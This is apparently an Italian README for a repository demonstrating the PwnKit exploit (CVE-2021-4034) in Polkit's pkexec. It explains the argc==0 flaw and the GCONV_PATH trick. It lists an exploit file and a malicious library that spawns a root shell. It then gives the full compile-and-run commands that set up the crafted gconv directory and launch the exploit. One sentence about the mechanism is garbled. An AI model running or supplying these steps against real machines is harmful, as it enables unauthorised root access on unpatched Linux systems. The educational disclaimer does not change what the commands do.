
Questo repository mostra come sfruttare la vulnerabilità CVE-2021-4034.
Questo repository contiene il codice sorgente per dimostrare lo sfruttamento della vulnerabilità CVE-2021-4034, nota anche come PwnKit, scoperta in pkexec (parte del pacchetto Polkit). Questa falla consente un escalation locale dei privilegi a root tramite l'uso di variabili d'ambiente dannose.
Questo codice è fornito esclusivamente a scopi educativi e di ricerca. Non deve essere utilizzato su sistemi in produzione né senza autorizzazione esplicita. L'uso improprio può essere illegale e viola i termini d'uso dell'autore.
La vulnerabilità si presenta quando pkexec viene eseguito senza argomenti, cioè argc == 0. In questo caso, pkexec tenta di accedere a argv[1] senza verificare che argv[0] esista, provocando la lettura da envp[0]. Ciò consente all'attaccante di:
GCONV_PATH..so arbitraria per eseguire codice come root.L'exploit sfrutta questa condizione per caricare una libreria dannosa che apre una shell come utente root.
cve-2021-4034.c: Codice sorgente dell'exploit che invoca pkexec con argv[] = {NULL} e variabili d'ambiente modificate.pwnkit.c: Codice sorgente della libreria dannosa che apre una shell come root.gcc -Wall -o cve-2021-4034 cve-2021-4034.c
gcc -Wall -shared -fPIC -o pwnkit.so pwnkit.c
mkdir GCONV_PATH=.
echo 'module UTF-8// PWNKIT// pwnkit 1' > gconv-modules
cp $(which true) GCONV_PATH=./pwnkit.so:.
./cve-2021-4034